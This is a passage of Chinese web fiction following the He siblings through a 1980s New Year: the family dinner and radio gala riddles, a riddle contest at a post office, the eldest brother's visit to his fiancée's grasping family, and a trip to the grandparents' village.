他手上有力气,揉面轻轻松松,一团面很快揉得油光水滑,蒙上干净的盖布,裹着棉被,放在最热的炕头来发酵醒面。 当其他人在厨房忙活时,他摆开面案,翻出擀面杖,用贺明珠调好的馅儿,一个人麻利地和面擀皮包饺子,没一会儿竹编蒸屉上便摆满了白白胖胖的饺子。 贺明珠那边儿做好了菜,他这边儿也包完了饺子,并刚好用完面团和饺子馅儿。 天色未暗,远处有零零星星的鞭炮声。 当别人家还在忙着做饭时,贺家的年夜饭已经端上了桌。 贺明国调好了收音机,将频道定在了中央广播台。前几天就看到报纸上写着央视要举办什么春节联欢晚会,这可是个新鲜事儿,听说观众还能现场点播节目。 最要紧的是,演《小花》的刘晓庆担任晚会主持人(矿务局的男工人至少一半都被她迷住了!),还有唱《乡恋》的李谷一(谁知道央视会不会放这首特别好听的禁曲),更别提几位特别有名的相声演员也会参演。 虽然不知道晚会的节目单,但光是已透露的表演者名单就足以让人期待。 可惜的是,贺家没电视,只能用自制的收音机来收听晚会。 巷口的张奶奶家倒是有电视机,他们家是从北京来支援的七级钳工,工龄长工资高,家中早早就买上了电视冰箱。 不过平时去蹭电视看也就算了,大过年的,总不好打扰别人一家团聚。而且听说,张家子女因为回不去北京,正和老父老母闹别扭,不适合外人上门。 虽然遗憾不能在电视机上观看春节联欢晚会,但满满一桌美食也足以慰藉心灵。 一家四口碗筷摆好,分别落坐。贺明珠还没怎么着,贺家三兄弟的口水已经要流到胸前,偏偏为了等大厨,硬是忍着没动筷子。 贺明珠换下围裙出来,见三个人同步眼巴巴地看过来,忍不住喷笑, “等我干嘛呢,自家人不用客气。” 贺明国还想来点开场白,说点回首过去展望未来之类的,结果一张嘴差点没兜住口水。 贺明军干净利落夹了一筷子排骨放妹妹碗里,下一筷子夹给小弟,再给自己来一块,没管老大,豪迈地说:“吃吧,要说的都在菜里了,咱们一家子以后会越过越好。” 他率先开动,其他人也不客气,纷纷朝着看好的美食下筷子。 有多好吃,用再多的字数来描述都显赘述,简单而言就是鸡有鸡味,鱼有鱼味,不腥不膻,吃 起来满口肉香,只恨少长一只胃袋。 贺小弟之前在厨房混了个半饱,这会儿对着拔丝红薯胃口大开,不仅吃起来甜滋滋的,而且还好玩,夹起一块红薯,就能拉出长长的糖丝,他玩得不亦乐乎。 贺明军对沙拉酱情有独钟,口感绵密,浓郁醇厚,和平时吃的东西完全不同,蘸窝窝头都好吃,一盆土豆沙拉被他吃了大半。 作为唯一没在厨房偷吃的,贺明国这会儿胃口大开,对着满桌美食频频下筷,不一会儿工夫碗边就堆起一座骨头山。 他之前不喜欢吃鱼,总觉得有股土腥味儿,而且作为不会吐刺的北方人,用舌头从鱼肉里挑出密密麻麻的小刺也太为难他。 但这次的鱼实在太好吃,鱼肉像蒜瓣一样紧实,鲜极了,第一口就让人恍然大悟为什么“鲜”字左边是鱼。 而且贺明珠在将鱼下锅之前,在不破坏鱼身完整性的前提下,剖鱼背取刺,除了明显的鱼骨外,细小的刺都被剔走,完全不用担心大过年的被鱼刺卡喉。 一桌子人吃得头也不抬,连收音机里刚刚响起的春节联欢晚会的开场音乐都无人注意。 做饭的人通常在厨房闻味儿就闻饱了,贺明珠挑着吃了几筷子,在心里赞叹自己真是太牛逼,缺少调料的情况下还能做成这样,简直是天才。 她挑了几块肉,用清水涮了涮,拿小碟子装着推到柜子下,过了一会儿,传来贼猫嗷呜嗷呜吃东西的声音。 大概是太好吃,贼猫一边吃一边嗷呜感叹,给全家都逗乐了。 贺家人不喝酒,贺明国以水代酒,敬了妹妹一杯。 “小妹,今年辛苦你了,以后有大哥,你专心学业,不需要再为生活操心。” 贺明军不甘落后,也举起杯说:“别担心家里,有哥在呢。” 见两个哥哥都在举杯,贺小弟不明所以,也跟着举起他的小水杯,认真地说: “姐,我以后都乖乖的,我听话~” 贺明珠眼圈一热,看着依然年轻依然健康的三个亲兄弟,心里有种奇异的感动。 一切都没发生,一切都还来得及。 “旧的一年马上就要过去,连带着这一年所有的悲伤和困难也都将是过去式,我们谁也不要再回头了。新的一年有新的希望,我们都要向前看,未来只会越来越好。” 四只杯子碰在一起,溅起的水花在昏黄的灯泡下染上温暖的光芒。 一大桌的菜被吃得七七八八,贺家兄弟坐在椅子上撑得七倒八歪。 嘴收工了,耳朵才开始工作。 收音机里传来的春节联欢晚会的节目告一段落,主持人正在念猜谜的题目。 “从上至下,广为团结——打一字。” 贺小弟懵懵懂懂地问:“什么是字谜?这是什么字啊?” 贺明国和贺明军面面相觑,他们俩的知识早就还给老师,卖力气跑江湖还行,但对这种文化人的精巧玩意儿实在是束手无策。 对着小弟好奇求知的清澈眼神,贺明军总不能说他不知道,尴尬地清清嗓子,说:“要不我带你出去放炮?” 贺小弟一听放炮立刻响应,但还是疑惑:“什么是从上到下?为什么就团结了?这是什么字呀?” “是‘座’。” 贺明珠拿出个作业本,翻到背面,用铅笔在上面写。 “从在上面,土在下面,加起来是‘坐’,再加上‘广’,那就是‘座’” 贺小弟听得半懂不懂,贺明国恍然大悟。 “的确是‘座’!” 今天过年,火炕烧得热乎,屋子里暖和极了。贺家人吃饱了饭四仰八叉地倒着,一边消食一边听春晚的广播。 虽然主持人说可以电话点播节目,然而现在安装电话的费用是一笔天价,除了单位掏得出这钱,个人舍得自家拿钱安装电话的,全市也不超过十个。 贺家人不能参与互动,但听着诙谐的相声和优美的歌曲,在这个娱乐匮乏的年代里,依旧感到十分满足。 即使是闹腾着要去放炮的贺小弟,也被相声演员时不时甩出的包袱逗得哈哈直乐。 晚会中途又放出几个字谜,贺家兄弟毕竟脑子不笨,了解字谜的游戏规则后,也能照猫画虎推断出答案。 收音机:“年终算总账,打一五言唐诗。” 最近经常算账的贺明珠眼睛一转:“花落知多少!” 收音机:“制定人口政策,打一成语。” 日常读报的贺明国思考一瞬:“计划生育政策……我明白了,是国计民生!” 收音机:“镜子里面照人,打一字。” 很有些小聪明的贺明军微微一笑:“人照在镜子里,镜像是反的,人反过来不就是‘入’吗?” 最后一个字谜:“晚会,打一字。” 这个有点难,两兄弟苦思冥想,全家学历洼地、托儿所在读生的贺小弟也跟着做思考状。 贺明珠拍拍手,吸引全家注意力,提示道: “晚是夕,两个夕并在一起……” 最近刚在托儿所学了几个字的贺小弟跳起来。 “我知道我知道,是‘多’!” 第45章 第45章初一初二有点忙(修)…… 大年初一,贺明珠把昨天猜谜的答案写在信纸上,拿信封装了去邮局投递。 昨天春晚的主持人介绍这是有奖猜谜,春节期间将谜底寄至中央电视台,全部猜中者可获得纪念品一份。 贺小弟听了立刻兴奋起来,催着姐姐快点将谜底寄到北京,寄晚了的话别人就要把奖品都领完了! 贺明珠也很好奇首届春晚的纪念品会是什么,第二天睡醒了就去寄信。 清晨,街道上人不多,地上都是红通通的鞭炮碎屑,有坐不住的小孩从家里溜出来,沿街去翻没炸的幸存鞭炮。 贺明珠到了邮局,里面的人也不多,寄信的人大多是看了春晚的猜谜节目后,要将谜底寄到北京。 省内寄信是四分,省外寄信是八分。贺明珠交了钱,贴上邮票,看着邮递员在信上盖好邮戳,准备离开时,听到旁边两个老头正愁眉苦脸地讨论猜谜 “这‘年终算总账’是怎么个意思?我想了一夜,还是没有思路啊。” “我查了唐诗三百首,这谜底会不会是‘归仍万里赊’?年终算完账,发现存在亏空问题,所以是还需要赊欠?” “你说的是有道理,但为什么不能是‘共说此年丰’,说不定算账结果是大有盈余,而且很符合现在国家的宣传方向,毕竟过年总要取个彩头嘛。” 这俩老头一者说亏,一者说赚,偏偏谁也不能说服谁,就拉住旁边明显也是来寄谜底的小姑娘,让她来做个裁判。 “小姑娘,你说我们谁说的对?” 贺明珠听了笑道:“我的答案和您两位都不一样呢。” “哦?” 一高瘦一矮胖两个老头脸上同时露出怀疑表情,怎么可能会有第三种答案? 矮胖老头和蔼问她:“小姑娘,你的答案是什么?” 贺明珠说:“年终算总账,那当然是要算一算这一年花了多少钱,取谐音的话,答案就是‘花落知多少’。” “花落知多少?” 高瘦老头连连摇头:“不妥不妥,太过直白牵强,缺少文学韵味,不像是春晚出题时想要达到的宣传效果,我还是觉得应当为‘共说此年丰’。” 贺明珠笑眯眯的没反驳,猜谜又不是数学题,每个人都自己的理解很正常。 而矮胖老头却在反复思索“花落知多少”这句诗后,恍然大悟,抚掌大笑道:“对对对,小姑娘你说的很对,年终盘账本,不就是为了了解财务情况吗?这‘花落知多少’正是谐音‘花了知多少’,不算账怎么能知道花了多少钱?” 贺明珠笑道:“我想春晚节目是想和全国人民开个小玩笑,也正好是落在‘联欢’二字上,博大家开怀一笑。” 高瘦老头不服气地说:“堂堂面向全国人民的晚会,怎么能这么浅薄?我不同意你们俩的观点,我还是坚持我的答案。” 矮胖老头笑着拍拍老友的后背,说:“我们太老了,头脑僵化,思维还停留在过去。晚会并不一定是只能有宣传教育的作用,让人民群众开 心也是应有之义嘛。” 老友板着脸不说话,矮胖老头便问贺明珠。 “小姑娘,我们还有一个谜题没有想出答案,你愿意为我们答疑解惑吗?” 贺明珠当然不会拒绝,毕竟这次猜谜活动只要答对就有奖品,没必要将其他人当竞争对手来防备。 她上辈子就意识到广结善缘的重要性,平时多种花少栽刺,关键时候才不会栽进阴沟。 而且两个老头衣装笔挺,虽然头发花白满脸皱纹,但浑身有一种久居人上的气势。虽然之前没见过,但不难猜到应该是矿务局的众多领导之一。 她没什么要求对方的,但作为萍水相逢的“谜友”,聊一聊解谜思路也挺有趣。 “您说,我一定知无不言。” 矮胖老头就问:“制定人口政策,这又该是什么谜底呢?” 贺明珠一听就乐。 “这个简单,我们国家的现在人口政策是计划生育,而计划生育政策简而言之,不就是国家在计量控制人民群众的生育数量和质量……” 还不等她说完,高瘦老头就抢答道:“是国计民生!” 贺明珠笑着说:“对,就是这个成语。” 高瘦老头喊完自己反而挺不好意思,清清嗓子:“嗯,你这个小姑娘还算聪明,就是古诗词的部分还需要加强学习……” 他还没说完,矮胖老头已经先行一步:“来来来小姑娘,你再帮我看看,其他几个答案对不对?” 高瘦老头心里痒痒的,自持身份不肯和那两人凑一起,便磨磨蹭蹭拿浆糊给信件封口。 矮胖老头回头问他一句:“你的答案要不要改一改?” 高瘦老头傲娇得很:“不该了,我看我的答案才是对的,你这样改来改去,小心中不了奖。” 矮胖老头豁达一笑,并不放在心上。 “小姑娘的解谜思路我很认同,就算没有中奖也无所谓,能认识一位猜谜小友,也算不虚此行。” 高瘦老头一脸的不以为然,即使贺明珠刚刚把他猜不出的国计民生解了出来,但他还是下意识从年龄上轻视对方。 贺明珠不乐意被人看轻,即使是萍水相逢的陌生人也不行,索性半开玩笑半认真地说: “这位老同志,不如我们互相给对方出个谜题,看看谁能先解出来?” 对于对这个主意,矮胖老头先叫了一声好。 “小同志,你一定要给他出个难题,也省得我这位老朋友总爱倚老卖老,看不上现在的年轻人。” 高瘦老头并不反驳老友的话,一昂下巴:“随便你出题,无论什么猜谜,我都能解出来,但只怕你解不出我的谜题。” 贺明珠做手势:“您请。” 高瘦老头略一思忖,说道:“诸葛遣计斩魏延,打一成语。” 老头自觉这个谜题出的好,很雅致,也很有难度,没看过三国、缺乏历史知识的人甚至连谜面都看不明白,更别提解谜。 但没想到,他才刚说完谜题,那个小姑娘眼睛一转,立刻就揭开谜底。 “是‘马到成功’吧。” 高瘦老头瞪大了眼睛,她怎么猜到的? 贺明珠笑嘻嘻地说:“诸葛丞相生前预料到魏延要造反,便留下一只锦囊,嘱咐杨仪临阵对敌时拆开。杨仪依锦囊之计,与魏延对阵时激他连叫三声谁敢杀我,魏延喊声未落,马岱已手起刀落,斩魏延于马下。” “所以‘诸葛遣计斩魏延’,谜底便是‘马到成功’——马岱来了就成功斩杀魏延。” 高瘦老头一时语塞。 矮胖老头推了推他:“小姑娘说的对吗?” 高瘦老头不情愿地说:“对,她猜的对。” 矮胖老头一乐,催贺明珠出题。 贺明珠只说了五个字:“任意四边形。” 话音未落,不仅是高瘦老头,矮胖老头也跟着一起愣住。 这是什么意思? 四边形? 还是任意的? 有这种四边形吗?这得是什么形状? 高瘦老头苦思冥想,甚至拿起了笔,在纸上来回画着四边形的图案。 来邮局寄信的人越来越多,贺明珠看看墙上挂着的表,时间不早,得回家准备吃午饭了。 她要走,高瘦老头想拉住她问出答案,却又放不下面子,自己站在那儿纠结。 矮胖老头没那么多架子,笑眯眯地问贺明珠:“这个谜底是什么?我想了想,还是没有思绪。” 贺明珠看看竖着耳朵偷听的高瘦老头,附到矮胖老头耳边,悄悄说出答案。 矮胖老头先是瞪大双眼,接着便是忍不住地笑。 “你啊你,你可真是太聪明了。” 贺明珠也笑:“老同志,我先回家了,我们以后有机会再见!” 目送贺明珠离开邮局,高瘦老头忙不迭地凑到老友身边,连声问道:“你快告诉我,任意四边形的谜底到底是什么?” 矮胖老头看着他直笑,笑得他浑身不自在。 “你笑什么?” 矮胖老头摇摇头说:“我笑你啊,妄将世人看轻,那谜底是——” “不拘一格。” 高瘦老头听了就是一怔。 不拘一格,不就是四边形的形状不拘泥于方方正正的固定模样吗? 同时也让人联想到一句古诗——“不拘一格降人才”。 他忍不住看向小姑娘离开的方向。 是他拘泥了。 贺明珠回到家,桌上已经摆好了饭,贺明军拍拍手说:“大年初一不开火,正好你也歇歇,后天咱们去姥姥家拜年。” 她没在饭桌上看到贺明国,就问二哥:“大哥怎么不来吃饭?我去喊他吧。” 贺明军拦住她:“别管老大,他明天要去丈母娘家,这会儿正愁带什么礼物呢。” 贺明国蹲在小屋,在纸上写写画画,关于给丈母娘家送什么礼,他是写了又删,删了又写,纠结得不得了。 带少了吧,怕齐家红在娘家难做;带多了吧,一方面是他确实没有这个财力,另一方面是齐家红提醒过他,带来的礼物都会被大哥一家以各种理由拿走,她和爹妈落不到多少好处,让他别拿太多。 贺明国不是不愿意和大舅子和睦相处,但这是建立在双方彼此亲善、有来有往的前提下,而不是他单方面的朝拜进贡。 齐家红在娘家过得不好,大冬天睡没火炕的小棚子里,身上衣服穿了好几年,补丁摞补丁,就没换过新的,她名下的布票都被挪去给侄子嫂子做新衣了。 更别说自从她开始在贺家吃饭,齐家更是理直气壮地不给她留饭,占了她的粮票份额,却不肯让她回家吃顿饱饭。 她要脸,不肯在贺家胡吃海塞,每每饿的喝水充饥,人瘦了一大圈,厚厚的棉袄穿在身上空荡荡的直打晃。 贺明国看在眼里急在心里,又没法对着她说齐家坏话,只好每次在吃饭时,一个劲给她夹菜加饭,生怕她吃不饱。 接着又拿自己省吃俭用攒下的钱,去副食品店给她买了一大包饼干和奶糖,以让她悄悄留下自己吃,补充一下营养。 结果拿给齐家红后,却见她依旧在不断消瘦,丝毫没有被营养品过滋补的模样。 在贺明国不断追问下,齐家红才无奈地说,齐老太把饼干拿去给了孙子吃,气得贺明国火冒三丈,要不是齐家红拦着,他当时就想冲上门讨要回来。 哪有这样的母亲! 哪有这样的家人! 因此,在送什么给齐家的份上,贺明国犯了难。 贺明珠见大哥一直不出来吃饭,进小屋问了才得知他的纠结。 她干脆拍板,别想太多,就按矿务局平均标准来办。 两瓶酒一条烟,一只肥鸡一包糕点,贺明国两只手占得满满当当,拎着东西进了齐家的门。 齐老太难得笑脸相待,连声招呼他进屋。 贺明国被引进了大屋,齐大哥和齐大嫂都笑着迎接,在看到他手上提着的东西时,他们俩的笑容显得更真挚热情了。 齐大哥接过烟酒,齐大嫂接过糕点,齐老太拿着冻鸡进了厨房。 齐老头盘腿坐在炕上,见了贺明国也只是点点头,让他上炕坐着。 齐小弟最好奇,跟在 贺明国身后问来问去。 “你就是我大姐的对象?你什么时候和我大姐结婚啊?是不是今年你们就要结婚了?” 贺明国只是笑:“对,我是你大姐对象,以后你叫我大姐夫就行。” 齐小弟眼睛灵活地转来转去:“你们不是还没结婚吗?这会儿叫姐夫合适吗?” 齐家红有些害羞,红着脸啐他:“这是你小孩子该打听的吗?一边坐着去。” 两个小侄子抓着贺明国的衣服往上跳,拽得他站都站不稳,不得不一手扶一个。 齐家红替他解围:“乖,去外面玩儿去啊。” 大的那个侄子看向他妈,见他妈使了个眼色,立刻就嚷嚷着要红包。 “红包!我要红包!” 小的不懂事,见哥哥喊了,便也跟着喊:“我也要!我也要!” 屋里几个齐家的大人都不拦,只是笑嘻嘻地看着贺明国窘迫地从衣兜里掏钱,顺便打量红包厚度。 齐小弟见状也凑上来。 “姐夫,也给我发个红包呗。” 第46章 第46章齐家的新女婿(修)…… 按照过年习俗,长辈要给晚辈发压岁钱是应有之义。 作为第一年上门的新女婿,贺明国早早就给齐家红的两个侄子准备好了红包,红纸还是贺明珠帮忙裁的。 没想到齐小弟一开口也要红包,他一时有些为难,不知要怎么把兜里的红包掏出来。 三个人要红包,却只给两个人发? 还是说,给两个小侄子发红包,给小舅子发现金? 贺明国犯了难。 齐家红虎着脸,上来揪着齐小弟的耳朵就把他拉开。 “你都多大了还学小孩要红包?我给你个巴掌你要不要?” 齐小弟被揪着耳朵,连声喊疼,嘴里还在不服气地说:“凭什么我不能要?二蛋的姐夫就给他发了个大红包,我也要大红包!” 齐家红气得恨不能锤他一顿。 “人家要你就要啊?大过年的,别逼我收拾你!” 迫于姐姐的威严,齐小弟不敢再讨要红包,嘴里嘟嘟囔囔:“还没嫁人呢,胳膊肘就往外拐了……” 贺明国假装没听到,给齐家两个侄子一人发一个红包,得到两声高低不齐的“姑父过年好”。 齐大嫂喜笑颜开,嘴里不住说着:“这怎么好意思,你快坐着,我给你倒杯水。” 那边闹哄哄的,齐老头把齐家红招呼到身边,低声道:“让小贺多给你弟弟准备个红包能有多费事儿?你怎么连这也想不到?” 齐家红心里不痛快,压低声音辩解:“小弟和我们是同辈,哪有同辈要压岁钱的!” 齐老头不以为意:“同辈怎么了?那可是你亲弟弟!” 齐家红对这个偏心的亲爹没话说,索性就当没听到,见大嫂端了碗热水给贺明国,她开了柜子取出油茶面,让他泡着喝。 齐大嫂见状就笑道:“还是大妹会心疼对象,” 这油茶面还是之前从贺家拿的,贺明国却怎么喝都觉得别扭,索性放下不喝,听齐大哥大摆龙门阵,从矿务局人事调整到国家大政方针,无所不知,无所不聊。 他不插话,只做个听众,余光扫到齐大嫂把那碗没动过的油茶面端走了。 中午吃饭时,齐老太从厨房端出一锅乱炖,看着像是把这两天的剩饭倒大锅里一锅烩了。 他拎来的那只肥鸡不见踪影。 饭桌上没酒,也没人让烟,一人发两个二合面馒头就算完。 齐家人还很热情,一个劲地给贺明国让菜。 吃惯了妹妹做的大餐,再看这鱼刺鸡骨头土豆皮混一碗的乱炖,贺明国头一次感觉到什么叫看着就饱了。 他没在齐家多待,吃完饭就告辞离开。 临走前,大的那个侄子追着他说:“姑父,你给我发个红包再走呗,你才发了两块钱,太少了,都不够我买炮的。” 齐家的大人们哈哈一笑。 “你这孩子的聪明劲儿怎么都用到自家人身上了。” 贺明国没说话。 矿务局普遍的压岁钱标准才五毛一块,他在红包里放了两块钱却被说不够,难道要塞一摞大团结才行吗? 齐家红送他出去,在没人的地方拉着他的手,难过地沉默了很久。 贺明国反而安慰她:“别想太多,以后我们过好自己的日子就行。” 回了家,他没把自己在齐家受到的慢待说出来,但在晚上时,却吃到一顿格外丰盛的大餐。 他讶异地去看贺明珠,她冲他眨眨眼睛。 “用后脑勺都猜得到你在齐家吃不饱饭,不过无所谓,以后日子是你和大嫂过。只要大嫂拎得清,齐家怎么样和你们关系不大。” 贺明军从贺明珠的话中听出点意思,带着取笑意味说:“老大,你这媳妇娶得可够不容易啊。” 贺明国瞥他一眼。 “某些人还不一定娶得着媳妇呢!” 贺明军十分自信:“凭我的实力,娶个媳妇还不是手拿把掐的小事儿?” 贺明国不为所动:“你先找得着再说吧,连对象都没有,搁这儿说什么大话呢?” 贺明军脱口而出:“谁说我没有!” 这一句话说出,全家齐刷刷地转头看贺明军,连带着被拴着服刑的贼猫都偷偷摸摸从柜子下露出一双猫眼。 贺明珠眯起眼睛,像只狡猾的小狐狸:“二哥,你有对象?” 贺明军自觉失言,立刻开始转移话题:“那什么,明天去姥姥家的东西都收拾好了吗?要不我再去检查一遍吧……” 话音未落,人已经落荒而逃,撒丫子冲出大屋,身后门帘还在晃动。 贺明珠和贺明国对视一眼,皆是忍俊不禁。 “算了,先放他一马,之后有的是机会。” 贺明国一边笑一边发愁,自家就这么大的面积,他和老二都结婚的话,要怎么才能住得下呢? 还不等他想出解决办法,大年初三,贺家人大包小包地挤上长途中巴,去往隔壁县城的姥姥家。 第47章 第47章去姥姥家啦(修) 贺母姓许,娘家是乌城宁县许家村的农户。 贺母年轻时是宁县远近闻名的铁姑娘。农业学大寨时,她拿着镰刀下地,一天能割完五六亩小麦,比村里一些男人的速度都快。 她勤快能干又好学,十七岁时作为工农兵学员被推荐上了中专,毕业后分配到了乌城矿务局子弟小学,成为一名光荣的公办教师,同时她的户口也转到了城里,吃上了商品粮。 那年代普通农民想要“农转非”的话,条件非常苛刻,要么是农村兵入伍后提干,要么是考学后分配到城里工作,总之都不是件容易事。 虽然农转非很难,但鉴于取得城镇户口的好处,比如口粮和副食品供应、找工作、分房等,再难也得迎难而上。 特别是口粮供应,农民没有粮票,只能吃自家种的粮食。因为要交提留统筹,剩下的粮食里粗粮多细粮少,加上自家磨面粉时不舍得磨太细,质量也不如粮库的。 贺母参加工作后,有了居民购粮证,可以拿着粮票凭证买粮。她就每次在回娘家前买上一麻袋细粮,带给老父老母补身体。 贺明珠这次去姥姥家拜年,也提前去粮店买了二十斤细粮。 中巴车停在村边公路,贺家一行四人拎着大包小包下了车,步行从村口去往姥姥家。 沿路的村民见了他们,一眼就认出这是许家的外孙,纷纷热情打起招呼: “明国,来你姥姥家拜年啊?你们矿上今年还招人不?” “明军,你现在上学还是上班?找上工作了没?” “贺小四,还记不记得我了?知道叫我什么吗?” 被人招呼最多的是贺明珠,大概是透过她年轻的面孔,看到了曾经村里那个意气风发的的铁姑娘。 “明珠,长大了,越长越像你妈啊!” “明珠,你可得好好学习,将来像你妈一样考个好学校分配个好单位,再找个好对象,一辈子就齐了!” “明珠,又给你姥姥家带什么好东西了?你妈就孝顺,你也孝顺,真是好孩子!” 贺明珠一路笑眯眯地应和,旁边贺明军被追问得快要炸毛,扛着麻袋疯狂竞走,大冬天冒出一头热汗,只想赶紧逃离这个三姑六婆的八卦场。 贺明 国也没比他好到哪儿去。 他正值婚龄,又是矿务局的正式工,村人极力向他推荐自家勤快能干的表妹堂妹侄女外甥女,恨不能现场拉住他开始相亲。 贺明国两只手提着东西,脸都快笑僵了。 贺小弟是最莽的,在中巴上时还蔫搭搭的晕车,下车进了村就开始撒欢,追鸡撵狗,一个错眼,他就和村里的小孩跑一块玩儿去了。 好不容易到了姥姥家,大舅听到消息后早早就迎了出来。 大舅是庄稼汉,身材高大手脚粗壮,穿着旧军装,憨厚的脸上布满了皱纹。 见到四个外甥,他黝黑脸上笑开了花,二话不说,上去就把贺明军扛着的麻袋接过去,另一只手去拎贺明国手上的东西,嘴里招呼着: “先进屋,屋里暖和,你姥姥姥爷早就等上了!” 北方农村院子大,院墙是半人高的土坯,院里一半是菜地,一半是鸡窝羊圈,中间是手压式水井,整个院子收拾得整整齐齐。 姥姥家的房子不大,只有四间简陋的砖瓦房,外砖内坯,土坯是自家打的,砖是自家烧制的,大梁也是自家砍的木头。 只有房顶的瓦片,一部分是从外购买的,一部分从老屋上拆下来的。 贺明珠记得,贺母和她说过,大舅年轻时把家里原来的土坯草房翻新成砖瓦房,是村里的头一份。 后来村里其他人也陆陆续续翻新老屋,现在村里一半是砖瓦房,一半还是土坯草房。 最气派的是村口一户人家,盖了砖瓦水泥的二层小楼,院门前的地浇了水泥,阔气得很,在村里显得鹤立鸡群,也不知是在哪儿发了大财。 掀开厚重门帘,贺明珠进了姥姥家,地上扫得干净,木柜水缸洗脸架摆放规整,用了多年的铁壳暖壶擦得锃亮。 虽然因为窗户小导致光线不太好,但打眼一望,屋里丝毫没有逼仄脏乱的感觉,反而有种农家特有的朴实温馨。 屋里的炕烧得热乎乎,姥姥见了贺明珠就抹泪,握住她的手往炕上拉。 “我孙女手凉的,路上冷吧,快上来暖暖……” 姥爷不善言辞,一个劲儿从炕柜里往出翻好吃的,什么饼干冰糖麦乳精摆了一炕。 这些都是别人送的,平时老两口藏起来不舍得吃,这会儿献宝似的都拿了出来。 “都是好东西,你们吃,脱了鞋上炕吃。” 贺明国不好意思,弯腰把贺小弟抱上了炕,拍拍他的小屁股:“去,和姥爷坐一块儿。” 贺小弟来姥姥家次数少,和这边不熟。但他不怕生,上了炕就坐到姥爷怀里,大大方方地说:“我要吃饼干!” 姥爷对这个没了妈的小外孙很心疼,把他抱起来,饼干喂到嘴边。 “吃,你吃,多吃点!” 贺明军笑嘻嘻地说:“姥爷,有了小四就不疼我了,怎么不喊我来吃?” 姥爷乐呵呵地说:“吃,都吃!” 贺明军作势要从贺小弟手里抢饼干,被姥爷拍了一下手背,他夸张地喊疼,逗得满屋子的人都笑。 大舅疼爱地笑骂:“就你小子,从小就皮!” “外孙再皮也招人爱,要不怎么爷爷平时不舍得把好东西拿出来,这会儿见了外孙亲的不得了,什么都肯拿出来了呢?” 这话说的不合时宜,屋里热热闹闹的气氛一下子冷了下来。 贺明珠闻声看去,说话的是大舅家的儿媳,贺明珠要叫表嫂的一个年轻女人。 表嫂刚生完孩子没几个月,正值哺乳期,家里舍得给产妇杀鸡买肉,一张脸吃的圆圆的,身体也是圆圆的,白白胖胖像个无锡大阿福。 偏偏这张面团似的圆脸上挑着一双细细的眉,眼睛斜睨着看人,嘴巴习惯性地轻蔑地撇着,看起来有种极违和的刻薄感。 表嫂像是没有察觉到气氛的变化,一边抱着孩子摇晃,一边自顾自地说: “这看来重孙还比不上外孙亲嘞,我们铁蛋儿还没吃过他祖爷爷给的糖,倒让外孙先吃上了!” 第48章 第48章挑事儿的表嫂(修)…… 表嫂的话说得着实难听,屋内陷入难堪的沉默中。 贺小弟年纪虽小,但也能听出好赖话,一时间拿着半块饼干,不知是该吃还是不该吃。 这会儿大舅妈和表姐在厨房忙着做饭,屋子里除了贺明珠、姥姥和表嫂以外,其他的不是男人就是小孩,似乎说什么都不合适,有欺负小媳妇之嫌。 姥爷想以长辈的身份想说点什么,被贺明珠按住了。 姥姥家现在虽是大舅当家,但他一日日在衰老,管家的权力迟早要交到年轻力壮表哥夫妇手中。 姥姥姥爷和孙子夫妻本就隔了一层,以后还要靠小辈养老,没必要现在因为一点小事被记恨。 贺明珠按住了姥爷,自己从炕上坐直了些,故作惊讶地指着襁褓里的小表侄说: “表嫂,这么小的孩子现在可以吃糖吗?” 表嫂刚刚才抱怨表侄没吃过祖爷爷给的糖,现在就被人问婴儿能不能吃糖。她一时语塞,不知道要怎么回答。 姥姥扯了扯贺明珠的胳膊,悄悄说:“你没生过孩子不懂,这孩子现在正吃奶呢。” 屋子里没人说话,加上老人家耳背,习惯性地提高音量,悄悄话变得人尽皆知。 贺明珠了然地说:“原来是要吃奶啊……表嫂这话说的,还以为是孩子想吃糖、姥爷不给吃呢,我都准备要批评一下姥爷了呢,怎么能无缘无故就区别对待——原来是有原因的啊。” 听了这话,表嫂的脸色有点发青。 贺明珠弯起嘴角,半开玩笑半认真地说:“俗话说得好,远香近臭。我们一年也来不了几趟姥姥家,姥姥姥爷好不容易见到一回,当然要稀罕会儿;可要是待久了,怕是老人家就要操起拐棍撵人了——” “快走快走,别老在我老人家眼前晃悠,看见你们就烦,天天影响我摸纸牌。” 贺明珠惟妙惟肖地模仿老人说话,手里还比划起拐棍敲人的姿势。 姥姥疼爱地拍拍她的背:“姥姥怎么舍得撵你走。” 贺明珠撒娇地靠在姥姥身上,故作得意地对着三兄弟说:“看见了吧,姥姥可是说了,要撵也是撵你们仨。” 贺明军反应快,配合得当,当即就拉下一张脸,假装垂头丧气。 “哎,我就知道,姥姥姥爷心里只惦记你,我们仨都是捎带的。” 贺明国慢了一拍,也跟上弟弟妹妹的节奏,说:“算了老二,我们就是负责送货的,既然东西已经送到,就自觉滚蛋回家吧。” 听了俩哥哥的话,贺小弟懵懂地从炕上爬起来:“啊?我也走?” 四兄妹这么一闹,屋里的人都忍不住笑了起来,气氛顿时一松。 这一通下来,表嫂也不好再说什么,只是眼睛还盯着炕上的吃的,手上有一搭没一搭拍着怀里的婴儿,心里不知道在想什么。 贺明珠没管她,和大舅拉起了家常。 表嫂是隔壁村的,家里重男轻女,她小学没毕业就辍学回家照顾弟弟,天天围着锅台转,眼睛只有家里的一亩三分地,心里总觉得别人多吃一口她就要少吃一口,年纪轻轻就养成一副乌眼鸡脾气,即使嫁了人这脾气也没改,眼睛从娘家转到婆家,天天盯着家里人是不是多吃多占。 但许家的家风正,从来是儿子女儿平等对待,有能力的就多扶持,将来有余力了拉家里一把。 当年贺母有出息,许家勒紧裤腰带也要供她上中专;贺母有了能力,想方设法送弟弟去当兵。后来大舅当兵后没能提干,退伍回乡后做了村里的生产队长。 因着贺母的模范带头作用,许家村里的很多户人家开始重视培养女儿,陆陆续续出了卫 生员、大队会计、村办小学老师等吃公家饭的人物。 许家村里“女儿是赔钱货”的老思想一扫而空,即使是最顽固的人也得承认,虽然女儿不传姓,但女儿也没比儿子差太多。 然而表嫂对此非常看不惯,她的思维已经在娘家固化了,理直气壮觉得女儿是外人,连带着外孙是外人中的外人。 虽然她自己也是女儿,但这不影响她想把许家的女儿们都赶出家门——欢迎来送钱送物赡养老人,但一分钱都别想占家里便宜! 俗话说得好,“外孙是狗,吃了就走”。 既然贺母都不在了,凭什么让贺家人来许家蹭吃蹭喝?! 再说了,就算贺母还活着,也不该带这么多孩子来娘家吃吃喝喝。 农村人一年到头辛苦种地,才能挣上几个钱、打几斤粮食?等到五六月青黄不接的时候,家里库房连一粒粮都没有,难道还能全家去城里投奔贺母吃商品粮? 就城里人的那几张粮票,他们自家还不知道够不够吃呢! 